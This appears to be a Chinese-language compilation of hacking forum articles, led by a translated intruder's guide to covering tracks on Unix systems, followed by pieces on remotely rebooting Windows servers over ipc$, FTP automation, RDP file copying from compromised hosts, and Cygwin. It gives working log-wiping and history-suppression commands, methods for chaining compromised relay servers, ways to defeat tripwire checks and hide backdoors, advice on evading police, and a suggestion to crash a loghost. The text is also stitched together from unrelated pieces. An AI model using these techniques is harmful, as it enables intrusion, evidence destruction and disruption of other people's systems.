UTMP : /etc 或 /var/adm 或 /usr/adm 或 /usr/var/adm 或 /var/log
WTMP : /etc 或 /var/adm 或 /usr/adm 或 /usr/var/adm 或 /var/log
LASTLOG : /usr/var/adm 或 /usr/adm 或 /var/adm 或 /var/log
在一些旧unix版本中lastlog数据被写到$HOME/.lastlog

* 5. 不要留下痕迹 *
我曾经碰到很多hacker,他们把自己从log里删除了.但他们忘记删掉他们在机器中留下的其他一些东西:在/tmp和$HOME中的文件Shell 记录一些shell会保留一个history文件(依赖于环境设置)记录你执行的命令.这对hacker来说确实是件很糟糕的事.最好的选择就是当你登录以后先启动一个新shell,然后在你的$HOME中查找历史纪录.
历史记录文件:
sh : .sh_history
csh : .history
ksh : .sh_history
bash: .bash_history
zsh : .history

> 译者注:.*history是我最喜欢看的文件之一,通过它你可以了解root或用户常干些什么, 从而得知他们的水平如何,如果他们只会执行"ls","pwd","cp"...那说明水平不过尔尔,无须太担心.不过如果你发现root喜欢"find / -type f -perm -04000 -exec ls -a
l {} \;"," "vim /var/adm/messages","ps -aux( -elf) ","netstat -an"....那你就要小心一点了。

备份文件 :
dead.letter, *.bak, *

在你离开前执行一下"ls -altr"看看你有没有留下什么不该留下的东西.你可以敲4个csh命令,它能让你离开时删掉这些历史文件,不留下任何痕迹.
mv .logout save.1
echo rm .history>.logout
echo rm .logout>.logout
echo mv save.1 .logout>.logout

> 译者注:对于bash,有一个简单的办法就是执行一下"HISTFILE=",就是不设置bash的历史文件,这样就不会有讨厌的.bash_history了.(准确地说,是不会往$HOME/.bash_history里写了)
> 或者退出的时候简单的敲kill -9 0 ,它会杀掉这次登录后产生的所有进程,bash也不会往.bash_history里写

* 6. 你应当避免的事 *
不要在不属于你的机器上crack口令.如果你在别人(比如说一所大学)的机器上破解口令,一旦root发现了你的进程,并且检查它.那么不仅你hacking的帐号保不住了,可能连你得到的那passwd文件也没了.那学校将会密切注视你的一举一动...所以得到口令文件后应该在自己的机器上破解.你并不需要破解太多的帐号,能破出几个就够了.如果你运行攻击/检测程序象ypx,iss,satan或其他的exploiting程序,应当先改名再执行它们.或者你可以修改源码改变它们在进程列表中显示的名字...

> 译者注:这并不难,你只要在main()中将argv[]用你喜欢显示的名字替代就可以了比如argv[0] ="in.telnetd",argv[1]=""...(当然必须在程序已经从argv中读取了所需的参数之后).

如果某个细心的用户/root发现5个ypx程序在后台运行,他马上就会明白发生了什么.当然如果可能的话不要在命令行中输入参数.如果程序支持交互方式,象telnet.应当先敲"telnet",然后"o target.host.com"...这就不会在进程表中显示目标主机名.

> 译者注:如果你用ftp,最好这样做:
> $ ftp -n
> $ ftp>o target.host
> blahblah...(一些连接信息)
> blahblah...(ftp server版本)
> ftp>user xxx
> ....

如果你hack了一个系统---不要在任何地方放suid shell!最好装一些后门象(ping,quota或者login),用fix来更正文件的atime和mtime.

> 译者注: 放suid shell是很蠢的,非常容易被root发现.

IV. 高级技巧
----------------------------------------------------------------------

内容 : 1. 前言
2. 阻止任何跟踪
3. 找到并处理所有的log文件
4. 检查syslog设置和log文件
5. 检查安装的安全程序
6. 检查系统管理员
7. 怎样修正checksum检查软件
8. 注意某些用户的安全陷阱(诡计?)
9. 其他

* 1. 前言 *
一旦你装了第一个sniffer开始你的hack生涯,你就应该知道并使用这些技巧!请运用这些技巧---否则你的hack之旅就行将结束.

* 2. 阻止任何跟踪 *
有时候你的hacking活动会被人发现.那并不是什么大问题 - 你hacked一些站点可能会被关掉,但谁管它呢,赶紧离开就是了.但如果他们试图跟踪你的来路(通常是为了抓住你)的话那就很危险了!

这一节将告诉你他们跟踪你的各种可能的方法以及你该如何应对.

* 通常对系统管理员来说发现一个hacker是从哪里来的并不是什么问题:检查log记录(如果那个hacker真的那么蠢的话);看看hacker安装的sniffer的输出记录(也许里面也记下了他的连接)或者其他系统记帐软件(象loginlog等等);甚至可以用netstat，显示所有已经建立的网络连接--如果那个hacker正在线的话,那他就被发现了.这就是为什么你需要一个gateway server(网关).

* 什么是gateway server?
它是你所"拥有"的很多服务器中的一个,你已经得到了它的root权限.你需要root权限去清除wtmp/lastlog/utmp等系统记录或者其他一些记帐软件的log文件.除此之外你不在这台机器上做任何其他的事(它只是个中转站).你应当定期更换gateway server,可以每隔1,2个星期更换一次,然后至少一个月内不再使用原来的gateway server.这样他们就很难跟踪到你的hacking server.

* hackin server - 所有活动的出发点你从这些机器开始hacking.Telnet(或者更好的:remsh/rsh)到一个gateway server,

然后再到一个目标机器.你需要有root权限以修改log.你必须每隔2-4个星期就更换hacking server..

* 你的堡垒/拨号主机.
这是个临界点.一但他们能跟踪回你拨号进入的机器,你就有麻烦了.只要打个电话给警察,再进行一次通信线路跟踪,你的hack活动就会成为历史了,也许是你的未来.在堡垒主机上你不需要得到root权限.既然你只是通过modem拨入,那里没有什么必须修改的记录.你应该每天用一个不同的帐号拨号进入,尽量用那些很少使用的.你应该找到至少2个你能拨号进去堡垒主机,每隔1-2个
月更换一次.

> 译者注:我对phreak不熟.我猜大部分的国内hacker还没什么本事能躲过电信局的跟踪.所以最好不要用别人的帐号上网,特别是那些很少上网的帐号,一旦他发现上网费用剧增,肯定会让电信局追查的,到时候你就大难临头了.如果你用那些上网频繁的人的帐号,他反倒不会注意,只会以为这个月上的太厉害了.:-)(这绝对没有鼓励你盗用别人帐号的意思,这等于盗窃,凭什么你
上网要别人交钱?就凭你会用john破几个口令吗?hacker的名声就是让这些打着hacker旗号的无耻之徒败坏的.对这种人就得抓!所以我对这样的phreaker没有什么好感,你要真有本事,就别嫁祸别人,而且还要让电信局查不出来.) 说多了,咱们言归正传.

注意: 如果你能每天拨入不同的系统(比如通过"蓝盒子"),那你就不需要那些hacking server了.
* 使用蓝盒子,这样即使他们跟踪到你的堡垒主机,也不能(至少是不能很容易地)追踪到你的电话...使用蓝盒子必须小心,德国和美国的电话公司有专门的监视系统来追踪使用蓝盒子的人...

使用一个中间系统来传送你的电话将会使跟踪更加困难, 但是同样由于你使用一个pbx或其他的什么东西, 仍使你处于被抓的危险中. 这取决于你.

注意在丹麦所有的电话数据均被记录!即使在你打完电话10年后,他们仍然能证明你曾登录过他们的拨号系统从事hack活动...

- 其他的
如果你想运行satan,iss,ypx,nfs文件句柄猜测程序..你应当使用一个专门的服务器来完成.不要用这个服务器telnet/rlogin到目标服务器,只是用它来进行检测.

有些程序可以bind到一个特殊端口,当一个指定到该端口的连接建立的时候,它自动打开一个连接连到另外一个服务器的某个端口(有些就模拟一个shell,你可以从这个socket daemon中"telnet"到其他机器).使用这种程序你不会被记录(防火墙log除外).有很多程序可以帮你完
成上述功能.

> 译者注:这种程序我常用的有datapipe.c,telbounc.c,还是很好用的.它就象是个代理服务器,但是不会有记录.:)

如果可能的话,hacking server或者gateway server应该在国外!因为如果你的入侵被发现,当发现你来自国外的主机时,大多数网管都会放弃追查.即使是警察要通过不同的国家追踪你,这也至少可以拖延2-10个星期的时间...

#下面是hack过程的简图,也许对你有些帮助;-)

+-------+ ~---------------> +-------------+ +-----------+
|+-----+| > > | | | |
||本机 || --> > 安全拨号线路 > --> | 堡垒主机 | --> | hacki
ng |
|+-----+| > > | (至少有3个) | | server |
+-------+ ~---------------> +-------------+ +-----------+
|
|
v
+-----------------+ +--------+ +-----------+
| | | | | |
| 内部网络中的主机| ... <-- ... |目标主机| <-- | gateway | | | | | | server | +-----------------+ +--------+ +-----------+ * 3. 找到并处理所有的LOG文件 * 找到所有的logfiles是很重要的---即使他们被隐藏.要找到它们有两种可 能的方法: 1)找到所有打开的文件. 既然所有的log必须写到某个地方去,所以用可以用LSOF(LiSt Open Files)程序 去检查所有打开的文件,必要的话就得修改它们.> 译者注:lsof由Vic Abell 编写,用来提供被进程打开的文件的信息,
> 它的最新版本可以在ftp://vic.cc.purdue.edu/pub/tools/unix/lsof下找到.有趣的是,不久前有人发现lsof4.40以前的版本中存在buffer overflow问题,可以取得root权限.:-)

2) 搜索所有在你登录后有变化的文件在你登录后,执行"touch /tmp/check",然后可以干你的活.最后只要执行"find / -newer /tmp/check -print",并检查找到的文件,如果其中有记帐文件,就应该修改它.注意不是所有版本的find都支持 -newer 参数.你也可以用"find / -ctime 0
-print" 或者 "find / -cmin 0 -print"来查找它们.
> 译者注:我更喜欢用-exec ls -l {} \;来代替-print,因为这可以列出比较详细的信息. 注意上述方法主要是针对系统记帐软件的,它可能会记录你执行的命令.对于只记录login信息的软件,它在你看到shell提示符以前就已经完成记录了.所以用这种检查是查不出来的.

检查你找到的所有的logfiles.它们一般在/usr/adm,/var/adm或者/var/log,/var/run
.
如果它们被记录到@loghost,那你可能就有点麻烦了.你需要hack那台loghost主机去修改log...

> 译者注:一般单纯用作loghost的机器比较难hack,因为它往往关掉了几乎所有端口,并且只
允许从控制台登录.对于这样的机器,可以用DoS攻击使之瘫痪,从而失去log功能.(要hack往往比较难,要crash it则相对容易一些.;-)当然，本次登陆的记录仍然会被保存下来.

为了处理logs,你可以用"grep -v"或者用wc统计行数后,再用"tail -10 log"察看最后10行
,或者用编辑器vi,emcas.

> 译者注:如果你从a.b.c来,你可以用grep -v "a.b.c" logfile>logtemp;mv logtemp logfile;来清除所有含有a.b.c的行.如果log文件比较大,你也可以用vim来编辑.注意这只能用来修改文本文件!!!对二进制文件的修改可能导致文件格式被破坏!!!

如果数据文件是二进制格式的,你应当首先查明它是由什么软件产生的,然后设法找到该软件的源码,分析记录项的结构,自己编程修改记录.(可以利用现成的程序加以修改,比如Zap,clear
cloak...).

如果系统安装了accounting软件.你可以用zhart写的acct-clener---它非常有效!

如果你必须修改wtmp,但系统又不能编译源程序也没有perl....你可以这样做,先uuencode
wtmp,然后运行vi,移动到最后一行,删除最后以"M"开头的4行...然后保存退出.uudecode
.然后最后5个wtmp记录项就被删除了.;-) 注意这只在SCO unix下有效,linux下是不行的.

> 译者注:我没有验证这个,因为没有SCO服务器.如果你要这么做,记得要先做个wtmp的备份.

如果系统用wtmpx和utmpx,那你又有麻烦了..迄今我还不知道有哪个cleaner程序可以处理它们.你不得不自己编一个程序来完成工作.

> 译者注:wtmpx和utmpx结构与wtmp和utmp类似,只要将清除utmp和wtmp的软件略加修改就可
> 以了.而且现在已经不少现成的程序可以修改utmpx/wtmpx了.

* 4. 检查SYSLOG配置和记录 *
大部分程序都用syslog函数来记录它们需要的所有东西.因而检查syslogd的配置文件是很重要的.这个配置文件是/etc/syslog.conf - 我不会告诉你它的格式是什么/每一项是什么意思
,
自己去读它的man页.
对你来说重要的syslog类型是kern.*,auth.*和authpriv.*.看看它们被写到哪里了,如果写到文件里还可以修改.如果被转发到其他主机,你必须也要hack它们.如果消息被发给某个用户,tty或者控制台.你能耍点小花招发很多个假消息象"echo 17:04 12-05-85 kernelsendmail[243]: can't resolve bla.bla.com > /dev/console"(或其他你想flood的的设备),让它卷屏,以隐藏你引发的信息.这些log文件是非常非常重要的!检查它们!

* 5. 检查已经安装的安全程序 *
很多注重安全的站点都通过cron运行安全检查程序.crontabs通常在/var/spool/cron/crontabs.检查里面所有的文件,特别是"root"文件,检查它里面都运行了什么程序.用"crontab -l root"可以快速的检查root crontab的内容.

这些安全工具往往装在管理员的目录下比如~/bin.

这些检查软件可能是 tiger, cops, spi, tripwire, l5,binaudit, hobgoblin, s3 等等...

你必须检查它们都报告了些什么东西,看它们是否报告了一些显示出你入侵迹象的东西.如果是的话,你可以 - 更新软件的数据文件,是它们不再报告这种类型的消息.
- 可以重新编程或修改该软件使它们不再产生报告.
- 如果可能的话,删除你安装的后门或其他程序,并试着用其他的方法来完成。

* 6. 检查系统管理员 *
对你来说了解系统管理员采取了那些安全措施是非常重要的.因此你需要知道他们经常使用哪些
普通用户帐号.你可以检查root的.forward文件和alias内容.看看sulog文件,注意那些成功su成root的用户.检查group文件中的wheel和admin组(或者其他任何与管理员相关的组).你也可以
在passwd文件中查找admin,也许你又能找到一个管理员帐号.现在你应该已经知道这台机器上谁是管理员了.进入他们的目录(如果系统不允许root读所有的文件,用chid.c或者changeid.c将自己的uid变成该用户的),检查他们的.history/.sh_history/.bash_history文件看看他们经常执行什么命令.也应当检查他们的.profile/.login/.bash_profile文件看看里面都设置了什么alias,是否执行了什么自动安全检查或logging程序.也检查他们的~/bin目录!大多数情况下被编译的安全程序被放到那里面!当然也要看一下他们的每一个目录(ls -alR ~/).如果你找到任何与安全有关的东西,请读5小节以设法绕过它们的安全保护.

* 7. 怎样修正checksum检查软件 *
一些管理员真得很怕hacker所以装了一些软件来检查二进制文件.如果一个二进制文件被改动了,下次管理员做二进制检查的时候,它将被检测到.那么你怎么找到是否系统安装了这样的程序,又怎样修改它们以便你能植入你的木马程序呢?

注意有很多的二进制检查程序,而且要写一个也真是非常容易(15分钟就够了),你可以用一个
小的script完成这个工作.所以如果这样的软件被安装的话要找到它们是比较困难的.注意
有些常用安全检查程序也提供这样的检查.下面是一些应用得很广泛的软件:

软件名 标准路径 二进制文件名

tripwire : /usr/adm/tcheck, /usr/local/adm/tcheck : databases, tri
pwir
e
binaudit : /usr/local/adm/audit : auditscan
hobgoblin : ~user/bin : hobgoblin
raudit : ~user/bin : raudit.pl
l5 : 编译所在目录 : l5

你要明白有很多种可能!这软件或数据库甚至可能放在一个正常情况下不被mount的盘上或者在其他主机export的NFS分区上.也可能checksum数据库是储存在一个写保护的介质上的.各种可能性都有!但一般情况下你只要检查上述软件是否被安装就可以了,如果没有的话,你就可以改变某些二进制文件.如果你没有找到那些软件,但你又知道这是一个进行了完善安全保护的站点的话,你就不应该改变二进制文件!它们(二进制检查软件)肯定被藏在什么地方了.

如果你发现了这种软件被安装并且你可以修改它们(比如不是放在只读介质上,或者可以通过一些办法绕过限制 - 比如umount该盘然后重新mount成可写的)的话,你该怎么做呢?你有两种选择:首先你可以只检查软件的参数,然后对已经修改过的二进制文件执行一次"update"检查.比如用tripwire的话你可以执行" tripwire -update /bin/target ".第二种办法是你可以编辑要被检查的二进制文件名单 - 从中删除你改动过的二进制文件名.注意你也应当看看是不是连数据库文件自身也会被检查!如果是的话 - 先update再删除数据库文件名.

* 8. 注意某些用户的安全陷阱(诡计?) *
这种情况较少发生,这里提出来主要是为了讨论的更完全.一些用户(可能是管理员或者hacker)通常不象他自己的帐户被别人使用.所以他们有时候会在他们的启动文件里采取一点安全措施.
所以要检查所有的以"."开头的文件(.profile,.cshrc,.login,.logout 等等),看看他们执行了什么命令,记录了些什么东西,以及他们的搜索路径是怎么摄制的.如果某个目录(比如HOME/bin)出现在/bin的前面,你就应该检查一下那个目录的内容了...也许里面装了个程序"ls"或者"w",它会先记录被执行的时间然后再执行真正的程序也许还有些程序用来自动检查wtmp和lastlog文件是否被zap处理过,检查.rhosts,.Xauthority文件,或是否有sniffer正在运行...千万不要使用一个unix高手的帐号!

* 9. 其他 *
最后,在讨论受怀疑或被捕的话题之前,还有一些其他的事情值得引起注意.老的telnet client会export USER变量.一个了解这一点的系统管理员可以编辑telnetd,从而得到所有(通过telnet登录进来的)用户名.一旦他注意到你,他就可以很容易的得知你是从(远方主机的)哪个帐号hack进来的.新的client(客户端程序)已经解决了了这一问题 -但是一个聪明的管理员仍然可以得到其他的信息以鉴别用户:UID,MAIL,HOME变量,这些变量仍然被export,这就可以很容易得鉴别 hacker使用的是哪个帐户.因此在你进行telnet前,记得要改变USER,UID,MAIL和HOME变量,如果你正处在home目录下的话也许甚至要改变PWD变量.

在HP Unix(版本低于v10)中你可以建立隐藏目录.我不是说那些以"."开头的目录而是一些有特殊标志的目录.HP在v9版推出了它,但从v10版本以后就去除了(因为只有hacker才是用它 ;-).
如果你执行"chmod +H directory",则directory目录就不能用"ls -al"列出.为了看这个隐藏目录,你需要为ls增加 -H 参数,例如:"ls -alH".

无论什么时候,当你需要改变文件的日期时,记住你能用"touch"命令设置atime和mtime.你只能通过直接的硬盘读写来设置ctime.

如果你在一个重要系统中安装了sniffer,一定要加密sniffer的输出或者让sniffer通过icmp或者udp将所有被截获的数据发送到一个由你控制的外部主机.为什么要这样做?因为这样即使管理员发现了sniffer(通过cpm或其他检查sniffer存在的程序),他们也不能从sniffer log中得知哪些东西被sniff了,所以他也不能即使提醒正被你sniff的主机.

V. 当你被怀疑时...
----------------------------------------------------------------------
一旦你受到怀疑(被警察或是系统管理员)你应该采取些特别的行动是他们不能得到不利你的
证据.

注意 : 如果系统管理员认为你是个hacker,你就是有罪的直到你被证明是无辜的!这些管理员根本不理会什么法律(有时候我认为hacker与管理员的不同仅仅在于那台计算机属于管理员而已).当他们认为你是个hacker的时候,你就是有罪的,没有律师为你辩护.他们会监视你,你的邮件,文件,甚至记录你的键盘(如果他们够利害的话).当警察被牵扯进来的时候,你的电话线也可能被监听,搜捕行动也许跟着就来了.

如果你注意到你正受到怀疑,一定要保持低调!不要采取任何攻击性行动!最好是等上至少1到2个月,什么都不做.警告你的朋友不要给你发任何邮件,或者只发一些正常的/无害的邮件.如果你突然采用PGP加密邮件,这会提醒正在监视的警察和管理员---你发现他们的监视了.切断与
hacking有关的联系,写点儿文章或者编编程序,一直等到一切都过去.及主要加密你的敏感数
据,销毁所有记有帐号数据,电话号码等等的纸张.当警察搜捕你的时候,那些东西是他们要找的
最重要的东西.

VI. 被捕
----------------------------------------------------------------------

Note that this small chapter covers only the ethics and basics and
hasn't got any references to current laws - because they are different
for every country.

Now we talking about the stuff you should/shouldn't do once the feds
visited you. There are two *very* important things you have to do :
1) GET A LAWYER IMMEDEANTELY !
The lawyer should phone the judge and appeal against the search
warrant. This doesn't help much but may hinder them in their work.
The lawyer should tell you everything you need to know what the
feds are allowed to do and what not.
The lawyer should write a letter to the district attorney and/or
police to request the computers back as fast as possible because
they are urgently needed to do business etc.
As you can see it is very useful to have got a lawyer already
by hand instead of searching for one after the raid.
2) NEVER TALK TO THE COPS !
The feds can't promise you anything. If they tell you, you'll get
away if you talk, don't trust them! Only the district attorney
has got the power to do this. The cops just want to get all
information possible. So if you tell them anything they'll have
got more information from and against you.
You should *always* refuse to give evidence - tell them that you
will only talk with them via your lawyer.

Then you should make a plan with your lawyer how to get you out of this
shit and reduce the damage.
But please keep in mind : don't betray your friends. Don't tell them
any secrets. Don't blow up the scene.
If you do, that's a boomerang : the guys & scene will be very angry
and do revenge, and those guys who'll be caught because of your
evidence will also talk ... and give the cops more information about
*your* crimes!

Note also that once you are caught you get blamed for everything which
happened on that site. If you (or your lawyer) can show them that they
don't have got evidences against you for all those cases they might
have trouble to keep the picture of that "evil hacker" they'll try to
paint about you at the court. If you can even prove that you couldn't
do some of the crimes they accuse you for then your chances are even
better. When the judge sees that false accuses are made he'll suspect
that there could be more false ones and will become distrusted against
the bad prepared charges against you.

I get often asked if the feds/judge can force you to give up your
passwords for PGP, encrypted files and/or harddisks.
That's different for every country. Check out if they could force you
to open your locked safe.
If that's the case you should hide the fact that you are crypting your
data! Talk with your lawyer if it's better for you to stand against
the direction to give out the password - maybe they'd get evidences
which could you get into jail for many years.

(For german guys : THC-MAG #4 will have got an article about the german
law, as far as it concerns hacking and phreaking - that article will
be of course checked by a lawyer to be correct. Note that #4 will only
discuss germany and hence will be in the german language.
But non-germans, keep ya head up, this will be the first and last german
only magazine release ;-)

>译者注:这一节是讲述了如果被捕,应当做些什么.由于我们的法律和西方不同,所以我就不翻了.有兴趣的可以自己看一看.主要的两点就是:1.马上找到一个律师为你处理这一切.2.不要告诉警察任何东西,也不要出卖其他人.

VII. 有用的程序
----------------------------------------------------------------------

这里有一个你应该找到并使用的程序列表.不要给我发email问我在哪里找到它们 - 自己到
hacker世界中去找!我只列出了最好的log编辑程序(见III-4和IV-3).其他有趣的程序还有telnet重定向程序(见IV-2),但这种程序有很多,大部分只能在1-3种unix类型下编译,所以列表没什么用.

先节是以下几个术语:
改变 - 将logfile中的域改成你喜欢的任意内容
删除 - 删除你要求的记录项
编辑 - 真正的logfile编辑器.
重写 - 只用0字节来重写记录.
不要用这样的软件(e.g. zap) - 它能被检测到!
LOG 修改器

ah-1_0b.tar 改变记帐信息的记录
clear.c 删除utmp,wtmp,lastlog和wtmpx中的记录
cloak2.c 改变utmp,wtmp和lastlog中的记录.
invisible.c 用预设值重写utmp,wtmp和lastlog
所以它比zap更好.注意看,有好多inv*.c!
marryv11.c 编辑utmp, wtmp, lastlog 和 accounting 数据 - 最好的!
wzap.c 删除wtmp中的记录
wtmped.c 删除wtmp中的记录
zap.c 重写utmp, wtmp, lastlog - 不要用它!它会被检测到!

VIII. 最后的话
----------------------------------------------------------------------

最后的话:
不要被捕,记住这些技巧.如果有人想更正一些错误或者发表一些意见,或对某个话题需要更多的信息,甚至认为我遗漏了一些东西 - 请让我知道.-----------van Hauser

原作者：未知


如何用FTP自动传送文件

(程序、脚本)

一、Windows下用ftp自动传送文件的方法

1、先建立一个文本文件，文件名可以是任意名，例如ftp.txt，其内容如下：

open 192.168.1.100 /*远服务器地址或名*/

MYNAME /*用户名MYNAME*/

MYPASSWORD /*用户密码MYPASSWORD*/

binary /*以二进制传送文件，可选项*/

cd REMOTE_PATHNAME /*进入远程目标路径REMOTE_PATHNAME*/

get REMOTE_FILE LOCAL_FILE /*把远程文件REMOTE_FILE下载成本地文件LOCAL_FILE*/

put LOCAL_FILE REMOTE_FILE /*将本地文件LOCAL_FILE上传成远程文件REMOTE_FILE */

bye /*退出ftp应用*/

2、 执行以下命令：

ftp –s:ftp.txt

就完成了自动传送。

二、UNIX下用ftp自动传送文件名是静态的方法

1、 建立一个文本文件，例如文件名是ftp.txt，其内容如下：

open 192.168.1.100 /*用open连接远程服务器192.168.1.100*/

user MYNAME MYPASSWORD /*MYNAME是用户名，MYPASSWORD是密码*/

binary /*以二进制传送*/

hash /*当有数据传送时，显示#号*/

cd REMOTE_PATHNAME /*进入远程目标路径REMOTE_PATHNAME*/

get REMOTE_FILE LOCAL_FILE /*把远程文件REMOTE_FILE下载成本地文件LOCAL_FILE*/

put LOCAL_FILE REMOTE_FILE /*将本地文件LOCAL_FILE上传成远程文件REMOTE_FILE */

bye /*退出ftp应用*/

2、执行命令：

cat ftp.txt | ftp -n

三、UNIX下用ftp自动传送文件名是动态的方法

现以一个文件名是以月份和日期为变量的文件来说明

1、建立脚本文件autoftp.sh

#!/bin/sh

MM=****date "+%m"**** /*取月份*/

DD=****date "+%d"**** /*取日期*/

pre_filename="DBZZ" /*设定文件名前缀前部分*/

filename="${pre_filename}${MM}${DD}.tgz"

echo " open 192.168.1.100

user MYNAME MYPASSWORD

binary

hash

cd REMOTE_PATHNAME

get ${filename} ${filename}

bye

" | ftp -n

2、将脚本赋有运行权后，执行脚本

chmod +x autoftp.sh

sh autoftp.sh (或./autoftp.sh)

UNIX的两个方法在Linux和FreeBSD下通过，其他UNIX下的可能有些稍为不同。


如何远程重启2k

有些时候，我们需要远程重启系统，以为了达到某些特殊目的。

通过ipc$管道来实现
1.利用iisreset.exe
net use \\ip\ipc$ "password" /user:"username" 建立连接
net time \\ip 获取服务器时间
at \\ip time iisreset.exe /reboot /timeout:00
过段时间就把服务器重新启动了。
需要说明一点的是，其中iisreset.exe是一个行命令下启动/停止Internet服务的工具。
好象没装过iis的就没这个，也不知道，我说的对不对，win2k服务器版是默认装iis的。
个人版就不是了，注意是装过iis就有这个命令。
2.利用w2kSrvReskit中的两个小工具。
shutdown.exe(36.2kB)行命令下
reboot.exe(16.7kB)图形界面和行命令下都可以

Release 2.1. 1999 Microsoft Corporation.
Usage: SHUTDOWN [/?] [\\Computer] [/L] [/A] [/R] [/T:xx] ["Msg"] [/Y] [/C]
\\comupter 远程的计算机
/a 中断任务
/l 本地的计算机
/r 重新启动
/t:xx 延时，默认是20
"msg" "要发送的消息"
/y 不需要询问
/c 强行关闭

net use \\ip\ipc$ "password" /user:"username"
shutdown.exe \\ip /r /t:00 /y /c
就可以把对放机器给重新启动了，要是想把他机器关了，去掉/r。
要是对方是web服务器，损失会很大，请慎用。
reboot.exe
这个没什么好说的，图形界面的，也支持行命令
参数和shutdown.exe一模一样。
3,要是没ipc$可用
只有telnet上去了，怎么telnet，这里就不讨论了
iisreset.exe或者放上shutdown.exe就行了
或者用bat，不是道是哪个牛人写的，构思很巧妙。
下面是一个重新启动的bat文件的代码。
@echo off
setlocal
cd/d %temp%
echo [version]> reboot.inf
set inf=InstallHinfSection DefaultInstall
echo signature=$chicago$>> reboot.inf
echo [defaultinstall]>> reboot.inf
rundll32 setupapi,%inf% 1 %temp%\reboot.inf
del reboot.inf

——点点滴滴的累积
沉睡不醒 2002/05/08
home:http://sss444.126.com
qq:34845484


如何在3389窗口和本地窗口里复制文件

最近总算给自己机器安装了个Windows 2000 Resource Kit，原来主要是硬盘太小，又装了两个
系统，win2kserver和linux7.0。朋友送了个15g的难硬盘，我搞了两天，总算可以用到他的1/5
3g，感觉爽多了~呵，好象跑题了。
使用3389，是不能在本地与终端窗口复制文件的。但我在Windows 2000 Resource Kit中，发现了这个
原文如下：
------------------------------------------------------------------------------------------
Server Setup

Run fxfrinst.bat.
-or-
Perform the following manual steps:
1. Create a folder named "rdpclip" in the System32 folder in your winnt directory
2. Copy the file RDPClip.exe into this new rdpclip folder.
3. Set up the following registry key. This may be done manually, or by running the fxfr_srv.reg tool. [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd] "StartupPrograms"="rdpclip\rdpclip.exe"
4. Copy the file fxfr.dll to your %systemroot$\System32 directory.

Client Setup
There are separate files for Win16 and Win32 clients. Be sure you are using the correct version. The 16-bit files can be found within the 16 bit client subdirectory of the rdpclip directory.

1. Copy the file fxfr.dll to the Terminal Server Client installation folder. By default, this is C:\Program Files\Terminal Server Client. This is the same folder that contains the file mstsc.exe.
2. Copy the file rdpdr.dll to the Terminal Server Client installation folder. This replaces the rdpdr.dll installed with the Terminal Services client
----------------------------------------------------------------------------------------------
我实验了一下，客户机用win2k的时候，实现了，但用win98，就不行了。怪~~!后来改了下，把rdpdr.dll
也放到了%systemroot%\system32目录下就可以了。
感觉很方便。只是速度慢的要死，我从肉鸡复制一个江湖程序30m左右，用的是win98客户机，
居然用了半个小时的样子，晕~！而且文件复制到多少程度，没一点提示。开的窗口像死掉了一样。
注意，只要用右键选过复制。一切换到本地的窗口，一点鼠标，就会弹出一个小提示框。别点取消！
正在复制哦~！等~~~~~~~
呵呵，好方便~！就是没ftp来的快。熊掌和鱼不能兼的嘛!
要是3389在登陆3389的话，在两个3389可以复制吗，当然要用打了补丁的客户端啦！你试试？我不知道啦！

沉睡不醒 2002/05/13
qq:34845484
http://sss444.126.com
mail:luandao@21cn.net


如何在WINDOWS下运行UNIX程序和GNU程序

1 引言

今天程序开发人员面临的最大问题就是如何使他们的应用程序支持各种不同的平台，如何使用户能够在不同的平台下不作任何修改地就能使用他们的应用程序。众所周知，Linux 操作系统和其它基于 UNIX 的操作系统一直是国际上使用广泛又非常重要的 OS。但在中国，微软的 Windows OS 却占领着巨大市场，如 Windows95/98、Windows2000、Windows me 等 OS。那么，基于 Windows OS 工作的程序开发人员在实际工作中,能否重新利用其它 OS 上的那些免费的代码资源呢？例如像 Linux 那样优秀而自由的丰富代码源。本文针对这个问题，提出了两种在 Windows OS 下如何运行 UNIX 程序和 GNU 程序的途径，以避免开发人员在工作中重复开发，以提高工作效率。

2 在 WINDOWS 下运行 UNIX 程序的工具——Cygwin
UNIX 自 20 世纪八十年代就已经成为学术界和研究机构所采用的主要操作系统，并开始扩展到商业界，当时就连大名鼎鼎的 IBM PC 都可跑 UNIX。

2.1 什么是 Cygwin?

Cygwin 是 Cygwin 公司（http://cygwin.com/）的产品，它提供了 Windows 操作系统下的一个 UNIX 环境，它可以帮助程序开发人员把应用程序从 UNIX/Linux 移植到 Windows 平台，是一个功能强大的工具集。

Cygwin 由两部分组成：

（1）cygwin1.dll:它作为 UNIX 的一个仿真层，提供 UNIX API 功能；

（2）一组工具：它的功能是负责创建一个 UNIX 或 Linux 的外观界面。Cygwin 动态链接库，即 cygwin1.dll 可以在 Windows CE 以外，Windows 95 以上的所有非 beta 版本的 Windows OS 下工作，如 Windows 98,Windows 2000 等。目前该软件的最新版本的 Cygwin 是 1.1.x 或 1.3.x.可以从 cygwin 公司的网站上直接下载（http://cygwin.com/setup.exe ）

2.2 Cygwin 的功能

网络管理人员通过 Cygwin 可以很容易地远程登录到任何一台 PC 机，在 UNIX/Linux 外壳（shell）下解决问题。在任何一台 Windows OS 计算机上运行外壳（shell）脚本命令。高级外壳脚本命令可以用标准 shell、sed 和 awk 等创建。标准 Windows 命令行工具甚至可以与 UNIX/Linux 外壳脚本环境共同管理 Windows 操作系统。

2.3 安装 Cywin

我们以 Cygwin Net Release Setup.exe Version 2.125.2.10 为例（http://sources.redhat.com/cygwin）

1) 双击“setup.exe”图标；

2) “Next”进行下一步；

3) 选择安装途径： 由 Internet 安装；
从Internet上先下载；
由本地目录下安装；

4) 我们选择从 Internet 上直接安装；

5) 选择安装的根目录，默认目录为：C：/cygwin;当然,也可修改为C:\Program Files\Cygwin

6) 缺省的文本文件类型为 Unix,安装所有文件。

7) 按“Next”进行下一步，安装路径中一般不包括空格，安装文件位置：C:\Documents and Settings\lingli\ 桌面

8) Internet 连接方式,直接连接；使用 IE5 设置；使用 HTTP/FTP 代理。

9) 选择下载站点:ftp/http://cygwin.lirex.net

10) Downloading setup.ini connecting.

3 在 WINDOWS 下运行 GNU 程序的工具——MinGW

